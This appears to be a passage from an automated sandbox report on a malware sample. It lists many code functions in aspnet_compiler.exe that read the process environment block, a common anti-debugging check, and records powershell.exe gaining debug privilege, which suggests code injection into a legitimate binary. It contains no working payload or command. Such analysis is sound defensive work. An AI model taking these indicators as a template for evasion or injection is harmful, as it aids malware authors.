                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013612ED mov eax, dword ptr fs:[00000030h]12_2_013612ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013612ED mov eax, dword ptr fs:[00000030h]12_2_013612ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013612ED mov eax, dword ptr fs:[00000030h]12_2_013612ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013612ED mov eax, dword ptr fs:[00000030h]12_2_013612ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013612ED mov eax, dword ptr fs:[00000030h]12_2_013612ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012BA2C3 mov eax, dword ptr fs:[00000030h]12_2_012BA2C3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012BA2C3 mov eax, dword ptr fs:[00000030h]12_2_012BA2C3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012BA2C3 mov eax, dword ptr fs:[00000030h]12_2_012BA2C3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012BA2C3 mov eax, dword ptr fs:[00000030h]12_2_012BA2C3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012BA2C3 mov eax, dword ptr fs:[00000030h]12_2_012BA2C3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DB2C0 mov eax, dword ptr fs:[00000030h]12_2_012DB2C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DB2C0 mov eax, dword ptr fs:[00000030h]12_2_012DB2C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DB2C0 mov eax, dword ptr fs:[00000030h]12_2_012DB2C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DB2C0 mov eax, dword ptr fs:[00000030h]12_2_012DB2C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DB2C0 mov eax, dword ptr fs:[00000030h]12_2_012DB2C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DB2C0 mov eax, dword ptr fs:[00000030h]12_2_012DB2C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DB2C0 mov eax, dword ptr fs:[00000030h]12_2_012DB2C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B92C5 mov eax, dword ptr fs:[00000030h]12_2_012B92C5
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B92C5 mov eax, dword ptr fs:[00000030h]12_2_012B92C5
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AB2D3 mov eax, dword ptr fs:[00000030h]12_2_012AB2D3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AB2D3 mov eax, dword ptr fs:[00000030h]12_2_012AB2D3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AB2D3 mov eax, dword ptr fs:[00000030h]12_2_012AB2D3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DF2D0 mov eax, dword ptr fs:[00000030h]12_2_012DF2D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DF2D0 mov eax, dword ptr fs:[00000030h]12_2_012DF2D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01385537 mov eax, dword ptr fs:[00000030h]12_2_01385537
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0135F525 mov eax, dword ptr fs:[00000030h]12_2_0135F525
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0135F525 mov eax, dword ptr fs:[00000030h]12_2_0135F525
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0135F525 mov eax, dword ptr fs:[00000030h]12_2_0135F525
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0135F525 mov eax, dword ptr fs:[00000030h]12_2_0135F525
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0135F525 mov eax, dword ptr fs:[00000030h]12_2_0135F525
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0135F525 mov eax, dword ptr fs:[00000030h]12_2_0135F525
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0135F525 mov eax, dword ptr fs:[00000030h]12_2_0135F525
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DE53E mov eax, dword ptr fs:[00000030h]12_2_012DE53E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DE53E mov eax, dword ptr fs:[00000030h]12_2_012DE53E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DE53E mov eax, dword ptr fs:[00000030h]12_2_012DE53E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DE53E mov eax, dword ptr fs:[00000030h]12_2_012DE53E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DE53E mov eax, dword ptr fs:[00000030h]12_2_012DE53E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0136B52F mov eax, dword ptr fs:[00000030h]12_2_0136B52F
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C0535 mov eax, dword ptr fs:[00000030h]12_2_012C0535
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C0535 mov eax, dword ptr fs:[00000030h]12_2_012C0535
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C0535 mov eax, dword ptr fs:[00000030h]12_2_012C0535
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C0535 mov eax, dword ptr fs:[00000030h]12_2_012C0535
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C0535 mov eax, dword ptr fs:[00000030h]12_2_012C0535
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C0535 mov eax, dword ptr fs:[00000030h]12_2_012C0535
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012ED530 mov eax, dword ptr fs:[00000030h]12_2_012ED530
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012ED530 mov eax, dword ptr fs:[00000030h]12_2_012ED530
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012BD534 mov eax, dword ptr fs:[00000030h]12_2_012BD534
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012BD534 mov eax, dword ptr fs:[00000030h]12_2_012BD534
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012BD534 mov eax, dword ptr fs:[00000030h]12_2_012BD534
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012BD534 mov eax, dword ptr fs:[00000030h]12_2_012BD534
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012BD534 mov eax, dword ptr fs:[00000030h]12_2_012BD534
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012BD534 mov eax, dword ptr fs:[00000030h]12_2_012BD534
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012E7505 mov eax, dword ptr fs:[00000030h]12_2_012E7505
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012E7505 mov ecx, dword ptr fs:[00000030h]12_2_012E7505
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01384500 mov eax, dword ptr fs:[00000030h]12_2_01384500
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01384500 mov eax, dword ptr fs:[00000030h]12_2_01384500
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01384500 mov eax, dword ptr fs:[00000030h]12_2_01384500
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01384500 mov eax, dword ptr fs:[00000030h]12_2_01384500
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01384500 mov eax, dword ptr fs:[00000030h]12_2_01384500
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01384500 mov eax, dword ptr fs:[00000030h]12_2_01384500
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01384500 mov eax, dword ptr fs:[00000030h]12_2_01384500
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012E656A mov eax, dword ptr fs:[00000030h]12_2_012E656A
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012E656A mov eax, dword ptr fs:[00000030h]12_2_012E656A
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012E656A mov eax, dword ptr fs:[00000030h]12_2_012E656A
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AB562 mov eax, dword ptr fs:[00000030h]12_2_012AB562
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012EB570 mov eax, dword ptr fs:[00000030h]12_2_012EB570
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012EB570 mov eax, dword ptr fs:[00000030h]12_2_012EB570
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B8550 mov eax, dword ptr fs:[00000030h]12_2_012B8550
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B8550 mov eax, dword ptr fs:[00000030h]12_2_012B8550
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D15A9 mov eax, dword ptr fs:[00000030h]12_2_012D15A9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D15A9 mov eax, dword ptr fs:[00000030h]12_2_012D15A9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D15A9 mov eax, dword ptr fs:[00000030h]12_2_012D15A9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D15A9 mov eax, dword ptr fs:[00000030h]12_2_012D15A9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D15A9 mov eax, dword ptr fs:[00000030h]12_2_012D15A9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0136F5BE mov eax, dword ptr fs:[00000030h]12_2_0136F5BE
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013435BA mov eax, dword ptr fs:[00000030h]12_2_013435BA
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013435BA mov eax, dword ptr fs:[00000030h]12_2_013435BA
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013435BA mov eax, dword ptr fs:[00000030h]12_2_013435BA
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013435BA mov eax, dword ptr fs:[00000030h]12_2_013435BA
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013305A7 mov eax, dword ptr fs:[00000030h]12_2_013305A7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013305A7 mov eax, dword ptr fs:[00000030h]12_2_013305A7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013305A7 mov eax, dword ptr fs:[00000030h]12_2_013305A7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D45B1 mov eax, dword ptr fs:[00000030h]12_2_012D45B1
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D45B1 mov eax, dword ptr fs:[00000030h]12_2_012D45B1
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DF5B0 mov eax, dword ptr fs:[00000030h]12_2_012DF5B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DF5B0 mov eax, dword ptr fs:[00000030h]12_2_012DF5B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DF5B0 mov eax, dword ptr fs:[00000030h]12_2_012DF5B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DF5B0 mov eax, dword ptr fs:[00000030h]12_2_012DF5B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DF5B0 mov eax, dword ptr fs:[00000030h]12_2_012DF5B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DF5B0 mov eax, dword ptr fs:[00000030h]12_2_012DF5B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DF5B0 mov eax, dword ptr fs:[00000030h]12_2_012DF5B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DF5B0 mov eax, dword ptr fs:[00000030h]12_2_012DF5B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DF5B0 mov eax, dword ptr fs:[00000030h]12_2_012DF5B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012A758F mov eax, dword ptr fs:[00000030h]12_2_012A758F
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012A758F mov eax, dword ptr fs:[00000030h]12_2_012A758F
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012A758F mov eax, dword ptr fs:[00000030h]12_2_012A758F
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012E4588 mov eax, dword ptr fs:[00000030h]12_2_012E4588
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0133B594 mov eax, dword ptr fs:[00000030h]12_2_0133B594
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0133B594 mov eax, dword ptr fs:[00000030h]12_2_0133B594
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B2582 mov eax, dword ptr fs:[00000030h]12_2_012B2582
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B2582 mov ecx, dword ptr fs:[00000030h]12_2_012B2582
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012EE59C mov eax, dword ptr fs:[00000030h]12_2_012EE59C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012EC5ED mov eax, dword ptr fs:[00000030h]12_2_012EC5ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012EC5ED mov eax, dword ptr fs:[00000030h]12_2_012EC5ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DE5E7 mov eax, dword ptr fs:[00000030h]12_2_012DE5E7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DE5E7 mov eax, dword ptr fs:[00000030h]12_2_012DE5E7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DE5E7 mov eax, dword ptr fs:[00000030h]12_2_012DE5E7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DE5E7 mov eax, dword ptr fs:[00000030h]12_2_012DE5E7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DE5E7 mov eax, dword ptr fs:[00000030h]12_2_012DE5E7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DE5E7 mov eax, dword ptr fs:[00000030h]12_2_012DE5E7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DE5E7 mov eax, dword ptr fs:[00000030h]12_2_012DE5E7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DE5E7 mov eax, dword ptr fs:[00000030h]12_2_012DE5E7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B25E0 mov eax, dword ptr fs:[00000030h]12_2_012B25E0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D15F4 mov eax, dword ptr fs:[00000030h]12_2_012D15F4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D15F4 mov eax, dword ptr fs:[00000030h]12_2_012D15F4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D15F4 mov eax, dword ptr fs:[00000030h]12_2_012D15F4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D15F4 mov eax, dword ptr fs:[00000030h]12_2_012D15F4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D15F4 mov eax, dword ptr fs:[00000030h]12_2_012D15F4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D15F4 mov eax, dword ptr fs:[00000030h]12_2_012D15F4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012EE5CF mov eax, dword ptr fs:[00000030h]12_2_012EE5CF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012EE5CF mov eax, dword ptr fs:[00000030h]12_2_012EE5CF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0132D5D0 mov eax, dword ptr fs:[00000030h]12_2_0132D5D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0132D5D0 mov ecx, dword ptr fs:[00000030h]12_2_0132D5D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012E55C0 mov eax, dword ptr fs:[00000030h]12_2_012E55C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013835D7 mov eax, dword ptr fs:[00000030h]12_2_013835D7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013835D7 mov eax, dword ptr fs:[00000030h]12_2_013835D7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013835D7 mov eax, dword ptr fs:[00000030h]12_2_013835D7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013855C9 mov eax, dword ptr fs:[00000030h]12_2_013855C9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D95DA mov eax, dword ptr fs:[00000030h]12_2_012D95DA
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B65D0 mov eax, dword ptr fs:[00000030h]12_2_012B65D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012EA5D0 mov eax, dword ptr fs:[00000030h]12_2_012EA5D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012EA5D0 mov eax, dword ptr fs:[00000030h]12_2_012EA5D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AE420 mov eax, dword ptr fs:[00000030h]12_2_012AE420
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AE420 mov eax, dword ptr fs:[00000030h]12_2_012AE420
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AE420 mov eax, dword ptr fs:[00000030h]12_2_012AE420
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AC427 mov eax, dword ptr fs:[00000030h]12_2_012AC427
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01336420 mov eax, dword ptr fs:[00000030h]12_2_01336420
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01336420 mov eax, dword ptr fs:[00000030h]12_2_01336420
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01336420 mov eax, dword ptr fs:[00000030h]12_2_01336420
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01336420 mov eax, dword ptr fs:[00000030h]12_2_01336420
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01336420 mov eax, dword ptr fs:[00000030h]12_2_01336420
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01336420 mov eax, dword ptr fs:[00000030h]12_2_01336420
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01336420 mov eax, dword ptr fs:[00000030h]12_2_01336420
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012EA430 mov eax, dword ptr fs:[00000030h]12_2_012EA430
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D340D mov eax, dword ptr fs:[00000030h]12_2_012D340D
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01337410 mov eax, dword ptr fs:[00000030h]12_2_01337410
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012E8402 mov eax, dword ptr fs:[00000030h]12_2_012E8402
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012E8402 mov eax, dword ptr fs:[00000030h]12_2_012E8402
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012E8402 mov eax, dword ptr fs:[00000030h]12_2_012E8402
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0138547F mov eax, dword ptr fs:[00000030h]12_2_0138547F
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B1460 mov eax, dword ptr fs:[00000030h]12_2_012B1460
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B1460 mov eax, dword ptr fs:[00000030h]12_2_012B1460
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B1460 mov eax, dword ptr fs:[00000030h]12_2_012B1460
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B1460 mov eax, dword ptr fs:[00000030h]12_2_012B1460
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B1460 mov eax, dword ptr fs:[00000030h]12_2_012B1460
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012CF460 mov eax, dword ptr fs:[00000030h]12_2_012CF460
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012CF460 mov eax, dword ptr fs:[00000030h]12_2_012CF460
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012CF460 mov eax, dword ptr fs:[00000030h]12_2_012CF460
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012CF460 mov eax, dword ptr fs:[00000030h]12_2_012CF460
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012CF460 mov eax, dword ptr fs:[00000030h]12_2_012CF460
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012CF460 mov eax, dword ptr fs:[00000030h]12_2_012CF460
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0133C460 mov ecx, dword ptr fs:[00000030h]12_2_0133C460
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DA470 mov eax, dword ptr fs:[00000030h]12_2_012DA470
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DA470 mov eax, dword ptr fs:[00000030h]12_2_012DA470
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DA470 mov eax, dword ptr fs:[00000030h]12_2_012DA470
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0136F453 mov eax, dword ptr fs:[00000030h]12_2_0136F453
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012BB440 mov eax, dword ptr fs:[00000030h]12_2_012BB440
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012BB440 mov eax, dword ptr fs:[00000030h]12_2_012BB440
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012BB440 mov eax, dword ptr fs:[00000030h]12_2_012BB440
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012BB440 mov eax, dword ptr fs:[00000030h]12_2_012BB440
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012BB440 mov eax, dword ptr fs:[00000030h]12_2_012BB440
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior

